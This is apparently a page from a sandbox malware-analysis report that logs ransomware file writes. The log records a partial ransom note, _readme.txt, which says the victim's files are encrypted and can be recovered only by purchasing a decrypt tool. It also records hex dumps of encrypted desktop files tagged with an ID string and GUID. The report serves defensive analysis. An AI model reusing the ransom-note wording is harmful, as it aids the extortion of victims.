65 73 2c 20 64 6f 63 75 
6d 65 6e 74 73 20 61 6e 
64 20 6f 74 68 65 72 20 
69 6d 70 6f 72 74 61 6e 
74 20 61 72 65 20 65 6e 
63 72 79 70 74 65 64 20 
77 69 74 68 20 73 74 72 
6f 6e 67 65 73 74 20 65 
6e 63 72 79 70 74 69 6f 
6e 20 61 6e 64 20 75 6e 
69 71 75 65 20 6b 65 79 
2e 0d 0a 54 68 65 20 6f 
6e 6c 79 20 6d 65 74 68 
6f 64 20 6f 66 20 72 65 
63 6f 76 65 72 69 6e 67 
20 66 69 6c 65 73 20 69 
73 20 74 6f 20 70 75 72 
63 68 61 73 65 20 64 65 
63 72 79 70 74 20 74 6f 
6f 6c 20 61 6e 64 20 

ATTENTION!Don't worry, 
you can return all your 
files!All your files like 
pictures, databases, 
documents and other 
important are encrypted 
with strongest encryption 
and unique key.The only 
method of recovering files 
is to purchase decrypt to
ol and 

success or wait 1 40F1A7 WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\_readme.txt 0 1116 41 54 54 45 4e 54 49 4f 
4e 21 0d 0a 0d 0a 44 6f 
6e 27 74 20 77 6f 72 72 
79 2c 20 79 6f 75 20 63 
61 6e 20 72 65 74 75 72 
6e 20 61 6c 6c 20 79 6f 
75 72 20 66 69 6c 65 73 
21 0d 0a 41 6c 6c 20 79 
6f 75 72 20 66 69 6c 65 
73 20 6c 69 6b 65 20 70 
69 63 74 75 72 65 73 2c 
20 64 61 74 61 62 61 73 
65 73 2c 20 64 6f 63 75 
6d 65 6e 74 73 20 61 6e 
64 20 6f 74 68 65 72 20 
69 6d 70 6f 72 74 61 6e 
74 20 61 72 65 20 65 6e 
63 72 79 70 74 65 64 20 
77 69 74 68 20 73 74 72 
6f 6e 67 65 73 74 20 65 
6e 63 72 79 70 74 69 6f 
6e 20 61 6e 64 20 75 6e 
69 71 75 65 20 6b 65 79 
2e 0d 0a 54 68 65 20 6f 
6e 6c 79 20 6d 65 74 68 
6f 64 20 6f 66 20 72 65 
63 6f 76 65 72 69 6e 67 
20 66 69 6c 65 73 20 69 
73 20 74 6f 20 70 75 72 
63 68 61 73 65 20 64 65 
63 72 79 70 74 20 74 6f 
6f 6c 20 61 6e 64 20 

ATTENTION!Don't worry, 
you can return all your 
files!All your files like 
pictures, databases, 
documents and other 
important are encrypted 
with strongest encryption 
and unique key.The only 
method of recovering files 
is to purchase decrypt to
ol and 

success or wait 1 40F1A7 WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies\de
precated.cookie

5 86 0a 5b fd 09 fd fd 54 46 70 
01 fd 7e 5a 3a fd 15 11 fd 
fd 7e fd 74 fd 5c fd 4c fd 
22 fd 6c fd fd 40 55 fd 7f 
72 36 34 fd fd fd fd fd 39 
6d 2b 3b fd fd 48 3b fd 2a 
fd f6 57 fd fd 4f 0c 5a 26 
fd fd fd 22 fd 54 78 56 71 
4e 14 fd fd 03 6c 54 6c 71 
13 

[TFp~Z:~t\L"l@Ur649m+;
H;*WOZ&"TxVqNlTlq

success or wait 1 411859 WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies\de
precated.cookie

91 256 75 07 7a fd fd 25 1c 4d fd 
2e 28 69 2f 5f 7f fd 48 7b 
fd 26 fd 0a 2a 02 fd 50 fd 
1b 7d fd fd 0e 26 fd 36 00 
1d 01 63 fd 03 3d 2d fd 
44 fd 63 fd 25 fd fd 24 52 
fd 1e 5f 41 fd fd 6b 1f fd 
6c 64 14 fd fd 03 3d fd 38 
7c fd fd fd 4a 68 79 fd 3f 
24 5d fd fd fd 66 2d 37 42 
6a fd fd 18 fd fd fd 03 2a 
37 5b fd 59 fd fd 65 2a fd 
66 fd 6e 5e 23 65 4a 79 
fd fd 4f 50 fd fd fd 1a 54 
fd fd fd 66 3d 1c 0d fd 6b 
fd fd 12 66 10 fd 30 29 7d 
fd fd 32 1f 3f 4c 70 fd 6f 
fd fd 70 01 38 fd fd fd 65 
58 fd fd 28 0a 64 23 fd 60 
08 fd 7c 29 7d 55 63 7a 
fd 5e 6c 41 fd 5c fd fd fd 
fd 54 fd 3c fd 56 fd 3a fd 
7c fd fd fd 6f 1c fd fd 8e 5f 
fd 22 fd 63 fd 48 fd 1c 76 
ee fd fd fd 6b fd 07 fd 7c 
9b fd 20 24 fd 1e 54 fd 57 
41 4f 65 fd fd 5b fd 30 70 

uz%M.(i/_H{&*P}&6c=-
Dc%$RAkld=8|Jhy?$]f-
7Bj*7[Ye*fn^#eJyOPT=
kf0)}2?
Lpop8eX(d#`|)Ucz^lA\T<
V:|o_"cHvk| $TWAOe[0p

success or wait 1 4115FA WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies\de
precated.cookie

347 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCookies\de
precated.cookie

387 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\Desktop\BPMLNOBV
SB.pdf

5 1021 fd 50 73 05 fd 7a 7f 13 fd 
fd fd 51 73 7d fd fd a1 fd 
fd fd 40 fd 51 26 fd 56 ef 
fd 1d 4e fd fd 16 fd 07 0b 
fd 11 1d ab fd fd fd 2e fd 
1d fd 47 04 97 fd 5a 57 fd 
72 3f 5b fd 71 fd 41 42 fd 
7d fd fd b2 fd 37 4a 41 fd 
04 6a fd 58 fd fd fd 2e 58 
0a fd 64 fd fd fd fd fd 4d 
77 67 3d fd fd fd 73 fd 2a 
fd 17 c8 fd fd 27 5e fd 27 
6d 65 fd 77 fd 51 fd 3f 57 
fd 0e 0e 62 72 59 fd fd fd 
05 fd 6e fd 02 fd 5f 7c fd 
fd fd fd 5d fd fd fd 03 fd fd 
2d 47 fd fd 2a 23 51 74 2f 
fd fd 04 fd fd fd fd 67 31 
1c 52 fd 4f 0a fd 33 fd 4e 
fd 4e 5a fd fd fd fd fd 5a 
08 fd fd 5b 3f 33 7c fd 6d 
fd fd 09 52 09 fd fd 56 7c 
fd 3f 0e fd 6c fd fd 68 4f 
1e fd fd 30 48 fd 0d 5a 40 
fd fd fd 3b 65 5a 54 52 fd 
fd fd fd fd fd fd 0a 5f 3b fd 
3b fd 

Pszs}@Q&VN.ZWr?
[qAB}7JAj.XdMwg
=s*^'mewQ?WbrYn_|]-
G*#Qt/g1R3NNZZ[?
3|mRV|?
lhO0HZ@;eZTR_;;

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\BPMLNOBV
SB.pdf

1026 256 fd fd 11 fd 73 3b fd fd 7c 
fd 4f fd 41 fd 41 11 52 49 
30 42 35 fd fd fd 68 fd 94 
fd 5a 6b 2a 19 4b 59 fd 
62 24 7d 7f 3a fd fd fd fd 
fd fd 20 47 3f 64 14 60 fd 
11 00 63 fd 70 fd 19 fd 35 
fd 68 79 5f fd 56 5c 3d fd 
67 fd fd fd fd 6c 06 4b fd 
2b 59 05 fd fd 28 fd fd fd 
fd 73 fd fd 65 fd 77 70 5d 
53 3d fd 3d 7b 9c 62 fd fd 
47 60 35 7e fd 25 11 fd 
e2 fd fd 6e 9a 37 fd 07 47 
fd fd fd fd 18 28 fd 07 56 
39 fd fd 63 fd 30 fd 20 71 
3c 62 fd 64 fd fd fd 23 fd 
fd 51 44 0f 59 1d fd fd fd 
45 fd fd fd 30 20 59 fd 2d 
19 69 33 07 73 4f fd 78 fd 
fd fd 48 6e 48 fd 67 fd fd 
57 43 51 fd 48 fd fd 3c 60 
fd 16 fd fd 56 7e 4b 67 fd 
17 fd 47 09 fd fd fd 0d fd 
6e 21 2a 0e fd 68 03 3f 
52 fd fd 0c 63 7c fd 50 40 
2c fd 04 fd fd 01 7e fd fd 
25 

s;|OAARI0B5hZk*KYb$}: 
G?d`cp5h
y_V\=glK+Y(sewp]S==
{bG`5~%n7G(V9c0 
q<bd#QDYE0 Y-
i3sOxHnHgWCQ
H<`V~KgGn!*h?
Rc|P@,~%

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\BPMLNOBV
SB.pdf

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\BPMLNOBV
SB.pdf

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\Desktop\CURQNKVO
IX.jpg

5 1021 2d fd fd 5f 45 34 70 5c 38 
fd 7a fd 38 64 29 79 57 
35 fd 09 fd fd 63 70 6a 01 
fd fd 62 fd fd 5c fd 17 fd 
6e 23 fd fd 10 63 41 fd 77 
fd fd 44 fd 53 fd 1f da 70 
2f 3d fd 76 06 53 2c fd 29 
37 fd 39 40 fd fd 97 fd 6f 
46 fd fd 67 7e 36 d0 6b 
44 fd 71 fd fd 3c fd 40 fd 
73 0a fd 16 47 fd fd a1 fd 
fd 14 fd fd fd 74 79 fd 60 
18 5d 25 fd 7e fd fd fd 03 
60 fd fd 15 49 72 fd fd 3e 
12 2f 4f 78 74 31 7a fd 6d 
fd fd 1a fd fd 7c 62 fd 38 
74 52 fd 20 55 02 48 3b 
54 fd fd 70 4f 31 fd fd 35 
fd 29 79 39 fd 15 0f 73 23 
fd 01 fd 53 79 56 fd fd 6e 
ee fd fd 79 40 8e 33 fd 4a 
00 49 fd 77 fd fd 4c fd fd 
7f fd 55 fd 3f 52 3c fd fd fd 
16 2a fd fd 1d 00 fd 2a fd 
fd 10 fd 64 1c fd 68 10 fd 
34 fd 23 5a 39 39 fd fd fd 
a5 2d fd 39 fd 54 fd 46 52 
0a 

-
_E4p\8z8d)yW5cpb\n#cA
wDSp/=vS
,)79@og~6kDq<@sGty`]
%~`Ir>/Oxt1zm|b8tR 
UHTpO15)y9s#SyVny@3
JIwLU?R<**dh4#Z99-
9TF

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\CURQNKVO
IX.jpg

1026 256 fd 50 6a fd 76 fd 00 fd 08 
5d fd 75 18 fd fd fd 3c 0f 
fd fd fd 69 fd 57 fd 23 6f 
1d 47 fd fd 44 02 fd fd 60 
fd 4e 1d 4a fd 38 fd 15 73 
fd fd 21 3c 2f fd 74 fd 06 
fd 02 fd fd fd 1e 3b fd 11 
fd fd fd 73 2b fd fd 71 fd 
38 5f 34 79 5d fd fd 2f fd 
50 13 fd fd 7e 32 fd fd 6d 
fd fd 49 fd 29 64 fd 23 29 
fd fd 38 73 3f fd fd 3b fd 
fd fd 61 73 69 fd fd 66 fd 
02 fd fd 3c 34 12 54 5e 
34 49 fd fd 7c 08 48 fd 61 
f9 58 fd fd 62 fd 71 a8 3d 
fd 15 6d fd 74 3b fd fd 70 
fd fd 30 0d fd 58 50 5d fd 
45 63 58 fd fd fd 68 23 fd 
40 fd fd fd 25 fd fd 20 56 
fd 09 fd 75 4e 60 6a 35 
7b fd 5b fd fd 17 43 fd 4d 
fd 0d 51 89 fd 3b fd 02 fd 
fd fd 49 79 61 0b 0f fd 38 
fd 04 fd fd 46 fd 57 48 02 
fd fd 20 58 7a 40 75 fd 5c 
fd fd fd fd fd 36 77 18 

Pjv]u<iW#oGD`NJ8s!
</t;s+q8_4y]
/P~2mI)d#)8s?;asif<4T^4
I|HaXq=
mt;p0XP]EcXh#@% 
VuN`j5{[CMQ;IyaFWH 
Xz@u6w

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\CURQNKVO
IX.jpg

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\CURQNKVO
IX.jpg

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\Desktop\CURQNKVO
IX.mp3

5 1021 17 fd 49 22 fd fd fd e7 57 
fd 0a 2a fd fd fd 17 3c 22 
25 fd 25 18 fd 12 17 65 
67 6e 62 fd fd fd fd fd 27 
68 34 36 fd fd fd fd fd 5f 
fd fd 31 fd 43 33 fd 1e 7a 
44 fd 05 fd 56 01 fd 6f 41 
9c fd 6c fd fd 16 fd 8a 78 
60 fd 04 fd fd 73 fd fd fd 
d4 fd 4d 03 fd 73 28 fd 1b 
fd 5e 36 1d fd fd 2b fd 39 
61 fd fd 40 7c fd fd 0d fd 
fd fd 48 17 fd fd 36 fd 32 
10 fd fd 44 52 07 24 7a 
20 f1 fd 70 30 fd 29 02 fd 
7a fd fd 6f fd fd 76 49 79 
22 4e fd 70 f3 3e fd fd af 
23 9b fd 16 1f 2b 0a fd fd 
0c 3f 68 fd 6f 4a fd 22 6e 
fd ad 53 22 6e fd fd 5d fd 
fd fd fd d7 fd fd 04 49 32 
fd fd 3b fd fd 70 fd 11 fd 
55 67 fd 73 37 fd 28 fd fd 
c1 73 17 fd 62 7e fd fd ae 
19 13 fd fd fd fd fd fd 08 
fd fd 44 fd fd fd 6c 68 fd fd 
17 50 

I"W*
<"%egnb'h46_1CzDVoAl
x`sMs(^6+9a@|H62DR$z 
p0)zovI"Np>#+?h
oJ"nS"n]I2;pUgs7(sb~Dlh
P

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\CURQNKVO
IX.mp3

1026 256 fd fd 48 fd fd fd 5c 56 6b 
48 69 60 2f 72 21 37 56 
fd fd fd 1d 12 7d 77 25 fd 
5e 11 39 fd fd fd 3e fd 32 
32 3e fd fd 6d 10 1c 3e 
35 fd fd fd fd fd 06 15 fd 
03 fd 0a 41 fd 62 fd 24 36 
54 02 fd fd 73 fd 25 fd 4f 
fd 4b 3f 22 24 6e b5 19 
42 4e 13 fd fd 0d 4a 7c fd 
34 fd 0d fd fd 79 fd 37 fd 
48 10 fd 05 79 fd 2a fd fd 
fd 04 fd fd 3f fd fd fd fd fd 
24 fd fd 6d fd 50 fd 47 75 
fd fd fd fd 71 0f 53 fd 33 
35 05 fd fd fd 4e 60 fd 30 
54 01 fd 5f fd 2e ad 2a 61 
46 78 fd 6b fd 49 fd fd fd 
6e 4d 12 fd 53 5d 40 20 
fd fd 16 fd fd 47 53 63 54 
fd 63 fd 59 51 24 53 0e 
10 6a 78 00 fd fd fd fd fd 
fd fd 1c fd 60 fd 14 fd 22 
fd 28 fd fd fd 53 5b fd 6c 
fd 32 76 fd fd 08 fd fd 0d 
41 29 fd fd 26 fd fd fd fd 
fd 71 fd fd 05 22 32 fd 78 
46 7c fd 51 14 7a fd 

H\VkHi`/r!7V}w%^9>22>
m>5Ab$6Ts
%OK?"$nBNJ|4y7Hy*?
$mPGuqS35N`0
T_.*aFxkInMS]@ 
GScTcY$Sjx`"(S[
l2vA)&q"2xF|Qz

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\CURQNKVO
IX.mp3

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\CURQNKVO
IX.mp3

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol

Copyright Joe Security LLC 2022 Page 88 of 219



C:\Users\user\Desktop\DVWHKMNF
NN.docx

5 1021 69 fd 0f fd fd 09 fd fd 7c 
3b 36 11 fd 29 fd fd 0f 5f 
1f fd 67 1a fd fd 4a fd 35 
4a fd fd 07 fd 6c fd 0b 70 
5d 5e fd 09 fd 07 fd fd 05 
fd 62 41 fd fd 78 3f 6c fd 
e9 4f 1e fd fd 13 fd 2e fd 
fd 35 fd fd 4d 1c 75 f3 fd 
04 fd fd 58 29 3e 18 11 
55 fd 32 fd 78 3e fd 07 fd 
59 4a fd 57 fd fd 92 fd 7e 
37 5b 55 fd fd fd 21 fd fd 
74 6d 6e 49 2e 01 fd fd 
0d 46 fd 20 58 fd 71 fd fd 
fd 3d 6f fd fd 65 5d f6 fd 
0e 0c 39 20 fd 13 fd 7a fd 
fd 7e bc 48 5a fd fd 6c fd 
70 03 64 5b fd 18 fd fd 21 
fd 30 ba 33 25 44 68 6f fd 
fd 41 1a fd fd 65 fd 24 fd 
6f 73 46 fd fd 64 fd 19 73 
fd 1a fd 1e 16 18 41 fd fd 
fd fd 29 3b fd 74 fd 7d fd 
16 fd fd 13 53 fd 20 fd 12 
5c 21 0a 7f 13 fd 28 fd fd 
22 fd fd 3d 46 4b 2a fd 1c 
be 46 fd fd fd 71 fd 4f 0e 

i|;6)_gJ5Jlp]^bAx?
lO.MuX)>U2x>
YJW~7U!tmnI.F Xq=oe]9 
z~HZlpd[
!03%DoAe$osFdsA);tS \!
("=FK*FqO

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\DVWHKMNF
NN.docx

1026 256 6e 4e 74 54 02 fd fd 71 fd 
fd fd fd fd fd 2e cf 02 fd 
23 fd fd fd fd 54 22 19 fd 
fd fd 18 fd fd 63 fd fd 72 
fd 6a 68 57 fd 5e fd 59 fd 
2b fd fd 1c fd fd 38 27 fd 
71 fd 1c fd 34 fd fd fd fd 
36 79 4d 32 fd 6b 08 fd fd 
05 fd 5a 4d fd fd 60 35 24 
fd fd fd 2c 0f 31 22 0d fd 
fd 70 fd 13 32 4d fd 1a fd 
07 0c 34 fd fd 0d fd 3c 09 
33 6a 51 2f 41 3e 22 fd 3f 
fd fd fd 32 fd 55 0e 57 33 
31 7c fd 73 75 fd fd fd fd 
6e fd 0e 4a 65 fd 5a 1d 
2d fd 6d fd 2b 20 42 49 fd 
02 fd fd fd fd 13 30 7b ba 
fd 35 fd fd fd 27 fd 4a 67 
fd fd 54 fd 51 15 fd 49 5e 
00 33 43 52 70 fd fd fd fd 
fd 31 fd fd 18 3e fd 16 17 
2c 60 fd 77 70 fd 11 66 
5c f1 3b 14 fd 5b fd 1d 77 
ac 76 7a fd fd 6e fd 7d fd 
78 26 5b 34 fd fd fd fd fd 
4a 3f fd fd d4 

nNtTq.#T"crhW^Y+'q46y
M2kZM`5,1
"p2M4<3jQ/A>"?
2UW31|sunJeZ-m+ 
BI0{5'JgTQI^3CRp1>,wpf
\;[wvzn}x&[4J?

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\DVWHKMNF
NN.docx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\DVWHKMNF
NN.docx

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
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C:\Users\user\Desktop\JSDNGYCO
WY.pdf

5 1021 fd 3c 3b fd 01 fd fd 10 6e 
53 28 fd 65 fd 14 fd 42 1f 
fd 24 5f fd fd 39 fd 59 fd 
19 fd 53 41 28 fd fd 76 50 
4f 33 3c 79 6d fd 00 bf fd 
68 fd 4a fd 59 fd 4c fd 52 
fd 5c fd fd 78 68 52 7d fd 
30 fd 46 fd 5a fd 59 fd 0a 
fd 6f fd 26 fd fd 7d 1c 0d 
fd 45 fd 09 1b 0f 57 fd fd 
55 4e 1d fd 34 6d 11 fd 
31 53 18 fd 0c 4c fd 6a 27 
fd 2f 03 fd fd 7a 31 fd fd 
58 47 55 fd 06 fd fd 04 fd 
fd 21 16 fd 10 48 62 10 
67 fd fd fd 4e fd 47 29 3c 
fd fd 62 3c fd fd 2c fd 20 
fd fd 0b 1c 19 fd 14 3b fd 
fd 0c 0c fd fd 65 6c 07 29 
52 fd 67 58 18 fd 15 fd 08 
fd 51 57 6e fd fd 27 39 6b 
fd 31 6f fd 30 3b fd 4a fd 
c8 5b 5b 56 fd 0a fd 6a 
07 fd 5b 79 24 2f 36 02 
ce 39 75 fd fd 17 fd 2b 65 
79 77 1c 0e fd fd 79 fd 37 
00 78 43 fd 7d fd 03 58 fd 
fd 39 7f 27 04 0c 6b 66 fd 
34 

<;nS(eB$_9YSA(vPO3<
mhJYLR\xhR}
0FZYo&}EWUN4m1SLj'/z
1XGU!HbgNG)<b<, 
;el)RgXQWn'9k1o0;J[[Vj[
y$/69u+eyy7xC}X9'kf4

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\JSDNGYCO
WY.pdf

1026 256 56 43 34 fd fd 1e 0e fd 09 
0a fd fd 00 fd 61 fd fd fd 
5f fd e5 fd 5f 60 fd 2a fd 
fd fd fd 64 09 fd 78 fd 22 
fd 37 31 fd 65 fd fd 33 fd 
fd fd 77 0b 61 fd 7a 5c fd 
fd 22 fd 23 fd 74 fd 42 48 
fd 5f fd 26 fd fd fd fd 43 
14 05 1a fd fd 0f fd 05 fd 
72 56 65 34 54 5f 08 fd 
68 fd fd 0a 20 fd fd bf 0d 
32 fd fd fd 58 fd 24 fd fd 
fd fd 34 5e 64 5e 12 fd 48 
52 37 fd 1f 7b fd 5c 26 fd 
5d 1c 4e 32 1b 78 19 4b 
17 98 fd fd 11 fd 29 0c fd 
54 fd 20 00 fd 06 6e 56 fd 
53 fd 43 fd 18 52 34 fd fd 
fd fd fd d4 fd 4b fd fd 35 
fd fd 7d 4e fd 35 fd fd 37 
fd 35 fd fd fd fd fd fd fd fd 
79 fd 2f fd fd fd fd 68 fd 
6a 6e ab 35 26 fd fd 4a fd 
fd 71 fd fd 22 fd fd fd 73 
d8 fd 61 7a 7c 6c 1f 32 
7a 67 19 7c fd fd 02 2b 
1a 46 59 fd 0e 

VC4a__`*dx"71e3waz\"#t
BH_&CrVeT_h 
2X$4^d^HR7{\&]N2xK)T 
nVSC4
K5}N575y/hjn5&Jq"saz|l2
zg|+FY

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\JSDNGYCO
WY.pdf

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\JSDNGYCO
WY.pdf
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39 2d 44 36 37 43 2d 34 
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C:\Users\user\Desktop\JSDNGYCO
WY.xlsx

5 1021 2b ee fd fd fd 78 69 06 0d 
fd fd fd 54 fd 63 7b 58 fd 
35 fd 49 fd fd fd 3e 52 fd 
fd 7b fd 03 fd 76 fd fd fd 
07 fd fd e8 fd 29 5f 18 35 
fd fd fd fd fd fd 66 5b 50 
40 fd fd 54 fd 34 5a 76 24 
fd fd fd 10 5c fd b4 01 fd 
fd fd 6d 04 10 78 fd fd fd 
1b 37 75 72 fd 1e fd 00 
67 1a 7f 1d 1f 76 fd 3d fd 
3c 84 16 fd 41 fd fd fd fd 
41 fd 1d fd fd 0c fe 0c fd 
fd 0e 5f 74 fd fd fd fd fd 
33 fd 17 2a fd b7 fd 45 2e 
38 fd 0e fd fd fd fd fd 7f 
10 fd fd 55 0c fd 79 69 41 
fd fd 5b 61 36 30 1f fd 7b 
7d 39 39 fd 11 fd 36 45 7f 
fd 36 fd fd fd 7e fd 49 41 
fd fd c4 46 fd 20 fd fd fd 
13 fd fd 13 fd 52 37 fd 71 
fd 71 9b 6e 05 fd 55 6e fd 
42 52 fd fd 71 3d fd fd 19 
31 fd fd 10 46 fd 7e 39 fd 
fd 0f 2a 12 fd fd 0d 49 fd 
fd 1c 4f fd a2 

+xiTc{X5I>R{v)_5f[P@T4
Zv$\mx7u
rgv<AA_t3*E.8UyA[a60{}
996E6~IAF 
R7qqnUnBRq=1F~9*IO

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\JSDNGYCO
WY.xlsx

1026 256 46 fd fd fd fd 77 fd fd 7c fd 
08 fd fd fd 6b fd 1a 0d fd 
26 fd fd fd fd 59 fd fd 34 
65 fd 45 38 fd fd fd 6c 78 
fd 6e fd fd 48 fd fd 2b 09 
fd 5c fd fd 41 fd a9 fd fd fd 
41 fd 13 59 fd 72 4f fd 0c 
56 5a fd 20 fd fd 74 fd 1c 
fd 35 4c fd fd fd 5e fd fd 
7c fd 31 fd 67 37 fd 5f fd 
fd fd fd fd 68 5e fd fd fd fd 
fd 2e 73 fd 7a 35 60 fd 0c 
78 fd 49 fd 37 fd fd 76 44 
fd fd 4e fd fd 41 fd fd 7c 7f 
11 73 22 35 49 3c fd 39 
59 fd 62 54 fd fd 11 19 49 
32 fd fd fd fd 21 fd fd 10 
fd 17 fd 02 7b 2c 1c fd 46 
fd 2b fd fd 5c fd 75 c1 55 
fd 1d fd 57 24 1b 52 fd fd 
fd 46 fd 44 58 fd fd fd fd 
61 57 42 fd fd 10 fd 59 fd 
fd fd 50 48 6d fd fd 7d fd 
fd 08 fd fd 7e 3a 58 2a 49 
77 51 fd fd fd 63 6e fd f0 
fd 60 fd 67 fd fd fd 32 fd 
28 fd 4a 19 fd 7d 13 fd fd 

Fw|k&Y4eE8lxnH+\AAYr
OVZ t5L^|1
g7_h^.sz5`xI7vDNA|s"5I<
9YbTI2!
{,F+\UW$RFDXaWBYPH
m}~:X*IwQcn`g2(J}

success or wait 1 4115FA WriteFile

C:\Users\user\Desktop\JSDNGYCO
WY.xlsx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Desktop\JSDNGYCO
WY.xlsx

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
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C:\Users\user\Desktop\KZWFNRXY
KI.mp3

5 1021 55 66 51 29 5a 16 fd 15 
fd 5e fd fd fd 32 fd 3c 5a 
1e fd 0c 16 fd fd fd 6b fd 
3a 29 fd 2b 79 3e 0a 1e 
fd fd 01 e4 fd fd 3b fd 33 
fd 0c 53 fd fd fd 3e 2f 23 
fd fd 4f 6a fd 1d 1c fd 02 
fd 4a 47 2c fd 13 69 fd 04 
07 55 10 83 fd 7e 42 37 
35 fd 7f 11 fd 4a fd fd fd 
62 fd fd 29 75 fd fd fd 12 
fd 7e 6a fd fd 34 24 72 fd 
fd fd fd a5 0e fd 75 fd 22 
43 fd 90 fd fd 06 fd 62 fd 
fd 41 fd 70 fd 63 40 fd 22 
fd 4b 68 40 71 6e 01 41 
fd 4a fd fd 5a 2c fd 0d fd 
fd 03 fd 44 22 fd 36 31 70 
fd 0a ed fd 55 fd 53 fd 1e 
fd fd 7c 3d fd 7a fd fd 5a 
14 1c fd fd 58 fd fd 79 fd 
fd 68 fd 1a fd 51 fd 1a fd 
fd 7f fd fd 41 0f fd 10 fd fd 
15 64 5d fd 00 fd 1d 09 
43 07 1e fd fd 03 7c fd fd 
fd 78 2b 30 fd 26 fd fd fd 
fd fd 8f 7d 32 fd 0a fd 23 

UfQ)Z^2<k:)+y>;3S>/#Oj
JG,iU~B7
5Jb)u~j4$ru"CbApc@"Kh
@qnAJZ,D"
61pUS|=zZXyhQAd]C|x+
0&}2

success or wait 1 411859 WriteFile

C:\Users\user\Desktop\KZWFNRXY
KI.mp3

1026 256 1b fd 18 fd 0e fd 4e fd fd 
27 7a 2d db fd fd 54 fd fd 
60 40 fd 03 fd fd 2e fd fd 
fd fd 44 fd 38 fd fd fd 29 
fd 43 fd 31 64 fd 75 6d fd 
2e 78 fd 31 56 06 fd 57 
12 fd fd fd fd 73 58 fd fd 
5d fd 6d 2b 28 fd fd 23 17 
48 11 6b 5a fd 1d 2a fd 
20 fd 13 43 0a fd 45 38 fd 
36 fd 6d fd 56 4f 03 fd fd 
fd fd 45 50 07 fd 6d fd fd 
1e fd 79 fd 3e fd 49 fd fd 
fd fd fd fd fd 2e 19 47 fd 
3f 16 fd fd fd 6e 67 fd fd 
37 6f 6a 2b fd 57 22 4c fd 
06 fd 08 77 fd 01 65 33 
5b 34 fd 68 fd 77 33 fd 5f 
7f fd 06 fd 30 fd fd 08 3e 
